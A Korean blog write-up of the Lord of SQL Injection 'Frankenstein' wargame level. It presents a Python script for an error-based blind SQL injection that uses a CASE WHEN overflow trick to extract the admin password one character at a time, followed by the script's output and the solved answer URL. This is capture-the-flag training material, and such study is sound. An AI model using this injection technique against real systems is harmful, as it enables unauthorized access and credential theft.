프랑켄슈타인! 드디어 이미지를 구할 수 있는 몬스터를 만났다. 이번 문제도 우리의 지식 선상에서 컷 가능하다. 바로 코드를 만나보도록 하자
코드
첫번째 query는 유니온과 괄호를 막는다. 여러 가지 이유가 있겠지만 필자가 생각하기엔 ERROR Based SQL Injection을 막으려는 거 같다. >> 아마 저번 시간에 쓴 if와 서브 쿼리는 사용하기 어려워 보인다.
두 번째 query는 pw에 addslash 하고 admin에 대한 정확한 pw를 물어보는 조건문이 붙는다. 즉 Blind SQL Injection이다.
해결방법
Answer Url : los.rubiya.kr/chall/XXXX.php?pw=0dc4efbb
from requests import get
import string
url = "### Frenkenstein URL ###"
cookie = dict(PHPSESSID="### 자신의 PHPSESSID ###")
password = ''
letters = string.ascii_letters+string.digits
break_flag = False
print("### find for pw ###")
while(True) :
if(break_flag) :
break
for a in letters :
param = "?pw=1' or case when id='admin' and pw like '"+password+a+"%' then 9e307*2 else 0 end-- ;"
new_url = url+param
rec = get(new_url,cookies=cookie)
if(rec.text.find("login_chk")<0) :
password += a
print("password ",password)
break
if(letters[-1] == a) :
break_flag = True
print("here's your passwrod : "+password)
SQL 조건문에는 CASE라는 조건문이 있다. 다음과 같이
이를 이용하면 문제조건에 부합하게 괄호를 사용하지 않고 조건문을 작성할 수 있다. 에러는 간단한 오버플로우 에러를 활용하였다.
* 9e307은 에러를 발생시키지 않는 최대의 정수 값이다. 이 이후로는 오버플로우 에러가 발생한다.
출력은 다음과 같다.
### find for pw ###
password 0
password 0d
password 0dc
password 0dc4
password 0dc4e
password 0dc4ef
password 0dc4efb
password 0dc4efbb
here's your passwrod : 0dc4efbb
문제풀이를 자축하자
CASE문에 대해서 공부할 수 있는 좋은 시간이었다. 여러분과 필자는 다음 몬스터에서 만나겠다.
'WarGame > Lord of SQL Injection' 카테고리의 다른 글
[LOSI] Lord of SQL Injection Level 30 - Ouroboros (0) | 2021.04.23 |
---|---|
[LOSI] Lord of SQL Injection Level 29 - Phantom (0) | 2021.04.23 |
[LOSI] Lord of SQL Injection Level 27 - Blue Dragon (0) | 2021.04.23 |
[LOSI] Lord of SQL Injection Level 26 - Red Dragon (0) | 2021.04.22 |
[LOSI] Lord of SQL Injection Level 25 - Green Dragon (0) | 2021.04.22 |